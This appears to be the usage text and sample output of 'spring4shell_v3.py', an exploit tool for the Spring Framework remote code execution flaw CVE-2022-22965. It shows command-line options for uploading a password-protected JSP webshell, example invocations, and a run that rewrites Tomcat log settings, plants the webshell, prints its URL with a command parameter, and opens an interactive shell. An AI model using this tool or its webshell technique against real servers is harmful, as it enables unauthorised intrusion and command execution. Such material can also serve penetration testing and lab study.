usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address

spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.

positional arguments:
  address               ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat

optional arguments:
  -h, --help            show this help message and exit
  -f FILENAME, --filename FILENAME
                        name of the file to create and upload
  -p PASSWORD, --password PASSWORD
                        password to protect the uploaded shell
  -d DIRECTORY, --directory DIRECTORY
                        The upload path for the file
  -a, --accessible      turns off features which may negatively affect screen readers
  -n, --no-colour       removes colour output

example:
        spring4shell_v3.py http://10.10.10.10/
        spring4shell_v3.py http://hostname:8080/ -p 'password123'
        spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'

./spring4shell http://spring-vuln.local

                /           /  |      /         / /                                                            
 ___  ___  ___    ___  ___ (___| ___ (___  ___ ( (                                                             
|___ |   )|   )| |   )|   )    )|___ |   )|___)| |                                                             
 __/ |__/ |    | |  / |__/    /  __/ |  / |__  | |                                                             
     |                __/                                                                                      
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service

spring4shell:[email protected] $